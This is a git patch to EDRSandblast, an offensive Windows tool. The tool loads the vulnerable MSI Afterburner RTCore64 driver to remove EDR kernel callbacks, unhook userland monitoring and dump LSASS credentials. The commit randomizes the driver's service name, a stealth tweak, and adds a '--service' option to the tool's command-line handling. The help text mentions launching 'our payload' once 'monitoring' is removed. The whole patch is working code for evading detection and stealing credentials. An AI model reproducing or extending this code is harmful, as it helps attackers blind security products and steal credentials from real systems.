From 9957b7a38ed10a754a72d7831cc9dfdb86c55883 Mon Sep 17 00:00:00 2001 From: Qazeer Date: Wed, 10 Nov 2021 01:12:48 +0100 Subject: [PATCH] Adds randomization of service name --- EDRSandblast/EDRBypass/KernelCallbacks.c | 5 ++- EDRSandblast/EDRSandBlast.h | 28 ++++++------ EDRSandblast/EDRSandblast.c | 47 ++++++++------------ EDRSandblast/Includes/DriverOps.h | 6 ++- EDRSandblast/Includes/Globals.h | 8 +++- EDRSandblast/Utils/DriverOps.c | 48 +++++++++++++++++++-- EDRSandblast/Utils/KernelMemoryPrimitives.c | 5 +-- 7 files changed, 93 insertions(+), 54 deletions(-) diff --git a/EDRSandblast/EDRBypass/KernelCallbacks.c b/EDRSandblast/EDRBypass/KernelCallbacks.c index 0b291e6..8a1088c 100644 --- a/EDRSandblast/EDRBypass/KernelCallbacks.c +++ b/EDRSandblast/EDRBypass/KernelCallbacks.c @@ -1689,15 +1689,16 @@ void OperateNotifyRoutines(DWORD64 NotifyRoutineAddress, struct FOUND_EDR_CALLBA } } } + edrDrivers->index = edrDrivers->index + CurrentEDRDriversCount; if (CurrentEDRDriversCount == 0) { _tprintf(TEXT("[+] No EDR driver(s) found!\n")); } else if (remove) { - _tprintf(TEXT("[+] Removed a total of %i EDR driver(s)\n"), CurrentEDRDriversCount); + _tprintf(TEXT("[+] Removed a total of %i EDR / security products driver(s)\n"), CurrentEDRDriversCount); } else { - _tprintf(TEXT("[+] Found a total of %i EDR driver(s)\n"), CurrentEDRDriversCount); + _tprintf(TEXT("[+] Found a total of %i EDR / security products driver(s)\n"), CurrentEDRDriversCount); } CloseHandle(Device); diff --git a/EDRSandblast/EDRSandBlast.h b/EDRSandblast/EDRSandBlast.h index 71368ef..36a738d 100644 --- a/EDRSandblast/EDRSandBlast.h +++ b/EDRSandblast/EDRSandBlast.h @@ -7,24 +7,24 @@ #include #include #include +#include #include #include #include -#include "CredGuard.h" -#include "DriverOps.h" -#include "ETWThreatIntel.h" -#include "FileVersion.h" -#include "KernelCallbacks.h" -#include "KernelMemoryPrimitives.h" -#include "KernelPatternSearch.h" -#include "LSASSDump.h" -#include "NtoskrnlOffsets.h" -#include "RunAsPPL.h" -#include "WdigestOffsets.h" -#include "UserlandHooks.h" - -#define SERVICE_NAME_LENGTH 8 +#include "Includes/Globals.h" +#include "Includes/CredGuard.h" +#include "Includes/DriverOps.h" +#include "Includes/ETWThreatIntel.h" +#include "Includes/FileVersion.h" +#include "Includes/KernelCallbacks.h" +#include "Includes/KernelMemoryPrimitives.h" +#include "Includes/KernelPatternSearch.h" +#include "Includes/LSASSDump.h" +#include "Includes/NtoskrnlOffsets.h" +#include "Includes/RunAsPPL.h" +#include "Includes/WdigestOffsets.h" +#include "Includes/UserlandHooks.h" typedef enum _START_MODE { dump, diff --git a/EDRSandblast/EDRSandblast.c b/EDRSandblast/EDRSandblast.c index 134157f..0c385fc 100644 --- a/EDRSandblast/EDRSandblast.c +++ b/EDRSandblast/EDRSandblast.c @@ -6,27 +6,9 @@ */ -static TCHAR* randString(TCHAR* str, size_t size) -{ - const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; - if (size) { - --size; - for (size_t n = 0; n < size; n++) { - int key = rand() % (int)(sizeof charset - 1); - str[n] = charset[key]; - } - str[size] = '\0'; - } - return str; -} - -const TCHAR *gVulnDriverServiceName = TEXT("RTCore64"); - -// TCHAR* gVulnDriverServiceName; - int _tmain(int argc, TCHAR** argv) { // Parse command line arguments and initialize variables to default values if needed. - const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode [--unhook-method ]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver ] [--nt-offsets ] [--wdigest-offsets ] [-o | --dump-output ]"); + const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode [--unhook-method ]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver ] [--service ] [--nt-offsets ] [--wdigest-offsets ] [-o | --dump-output ]"); const TCHAR extendedUsage[] = TEXT("\n\ -h | --help Show this help message and exit.\n\ -v | --verbose Enable a more verbose output.\n\ @@ -56,8 +38,6 @@ Actions mode:\n\ \t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\ \t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\ \t present userland hooks.\n\ -\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\ -\t and uses it to remove all detected hooks\n\ \n\ Other options:\n\ \n\ @@ -68,6 +48,7 @@ Other options:\n\ \n\ --driver Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\ Default to 'RTCore64.sys' in the current directory.\n\ +--service Name of the vulnerable service to intall / start.\n\ \n\ --nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ Default to 'NtoskrnlOffsets.csv' in the current directory.\n\ @@ -118,10 +99,6 @@ Other options:\n\ BOOL ETWTIState = FALSE; hook* hooks = NULL; - /* - gVulnDriverServiceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR)); - randString(gVulnDriverServiceName, SERVICE_NAME_LENGTH); - */ for (int i = 2; i < argc; i++) { if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) { @@ -152,6 +129,14 @@ Other options:\n\ } _tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i])); } + else if (_tcsicmp(argv[i], TEXT("--service")) == 0) { + i++; + if (i > argc) { + _tprintf(TEXT("%s"), usage); + return EXIT_FAILURE; + } + SetServiceName(argv[i], _tcslen(argv[i]) + 1); + } else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) { i++; if (i > argc) { @@ -242,7 +227,7 @@ Other options:\n\ if (status != TRUE) { _tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n")); _tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n")); - Sleep(2000); + Sleep(20000); status = UninstallVulnerableDriver(); Sleep(2000); status = status && InstallVulnerableDriver(driverPath); @@ -377,7 +362,7 @@ Other options:\n\ _tprintf(TEXT("\n\n")); } else { - _tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and start another process...\n")); + _tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n")); #ifdef _DEBUG assert(kernelMode); #endif @@ -436,12 +421,16 @@ Other options:\n\ // Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process. TCHAR* currentCommandLine = GetCommandLine(); TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver")); + TCHAR* serviceNameOpt = _tcsdup(TEXT(" --service ")); + TCHAR* svcName = GetServiceName(); //TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const". const SIZE_T commandLineMaxLen = 32768; - TCHAR* commandLine = (TCHAR*)calloc(commandLineMaxLen, sizeof(TCHAR)); + TCHAR* commandLine = (TCHAR*) calloc(commandLineMaxLen, sizeof(TCHAR)); _tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine)); _tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag)); + _tcsncat_s(commandLine, commandLineMaxLen, serviceNameOpt, _tcslen(serviceNameOpt)); + _tcsncat_s(commandLine, commandLineMaxLen, svcName, _tcslen(svcName)); if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, INFINITE); @@ -503,7 +492,7 @@ Other options:\n\ status = UninstallVulnerableDriver(); if (status == FALSE) { _tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n")); - _tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), gVulnDriverServiceName); + _tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), serviceName); lpExitCode = EXIT_FAILURE; } else { diff --git a/EDRSandblast/Includes/DriverOps.h b/EDRSandblast/Includes/DriverOps.h index 631b0b3..baf76b3 100644 --- a/EDRSandblast/Includes/DriverOps.h +++ b/EDRSandblast/Includes/DriverOps.h @@ -18,9 +18,13 @@ #define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())) #endif +#define SERVICE_NAME_LENGTH 8 #define MAX_UNINSTALL_ATTEMPTS 3 #define OP_SLEEP_TIME 1000 +TCHAR* GetServiceName(void); +void SetServiceName(TCHAR* newName, size_t szNewName); + BOOL InstallVulnerableDriver(TCHAR* driverPath); -BOOL UninstallVulnerableDriver(); \ No newline at end of file +BOOL UninstallVulnerableDriver(void); \ No newline at end of file diff --git a/EDRSandblast/Includes/Globals.h b/EDRSandblast/Includes/Globals.h index e70d775..7846594 100644 --- a/EDRSandblast/Includes/Globals.h +++ b/EDRSandblast/Includes/Globals.h @@ -1,3 +1,9 @@ #pragma once -const TCHAR *gVulnDriverServiceName; \ No newline at end of file +extern union NtoskrnlOffsets ntoskrnlOffsets; + +extern union WdigestOffsets wdigestOffsets; + +//extern TCHAR* serviceName; + +extern TCHAR* serviceName; \ No newline at end of file diff --git a/EDRSandblast/Utils/DriverOps.c b/EDRSandblast/Utils/DriverOps.c index 150bc6b..0a71721 100644 --- a/EDRSandblast/Utils/DriverOps.c +++ b/EDRSandblast/Utils/DriverOps.c @@ -42,6 +42,7 @@ BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) { } DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) { + BOOL status = FALSE; SC_HANDLE hSC = NULL, hS = NULL; hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); @@ -177,10 +178,49 @@ BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) { */ +static TCHAR* randString(TCHAR* str, size_t size) { + srand(time(0)); + + const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; + if (size) { + for (size_t n = 0; n < size; n++) { + int key = rand() % (int)(sizeof charset - 1); + str[n] = charset[key]; + } + str[size] = '\0'; + } + return str; +} + +TCHAR* serviceName; +TCHAR* GetServiceName(void) { + if (!serviceName || _tcslen(serviceName) == 0) { + serviceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR)); + randString(serviceName, SERVICE_NAME_LENGTH); + } + return serviceName; +} + +void SetServiceName(TCHAR *newName, size_t szNewName) { + if (serviceName) { + free(serviceName); + } + serviceName = (TCHAR*) calloc(szNewName, sizeof(TCHAR)); + + if (!serviceName) { + _tprintf(TEXT("[!] Error while attempting to set the service name.\n")); + return; + } + + _tcscpy_s(serviceName, szNewName, newName); +} + BOOL InstallVulnerableDriver(TCHAR* driverPath) { + + TCHAR* svcName = GetServiceName(); const TCHAR svcDesc[] = TEXT(""); - DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE); + DWORD status = ServiceInstall(serviceName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE); if (status == 0x00000005) { _tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n")); @@ -189,8 +229,10 @@ BOOL InstallVulnerableDriver(TCHAR* driverPath) { return status == 0x0; } -BOOL UninstallVulnerableDriver() { - BOOL status = ServiceUninstall(gVulnDriverServiceName, 0); +BOOL UninstallVulnerableDriver(void) { + TCHAR* svcName = GetServiceName(); + + BOOL status = ServiceUninstall(svcName, 0); if (!status) { PRINT_ERROR_AUTO(TEXT("ServiceUninstall")); diff --git a/EDRSandblast/Utils/KernelMemoryPrimitives.c b/EDRSandblast/Utils/KernelMemoryPrimitives.c index 3f585b3..bfb2616 100644 --- a/EDRSandblast/Utils/KernelMemoryPrimitives.c +++ b/EDRSandblast/Utils/KernelMemoryPrimitives.c @@ -150,10 +150,7 @@ TCHAR* FindDriver(DWORD64 address, BOOL verbose) { } HANDLE GetDriverHandle() { - TCHAR service[MAX_PATH] = { 0 }; - TCHAR suffix[] = TEXT("\\\\.\\"); - _tcsncat_s(service, _countof(service), suffix, _countof(suffix)); - _tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName)); + TCHAR service[] = TEXT("\\\\.\\RTCore64"); HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (Device == INVALID_HANDLE_VALUE) {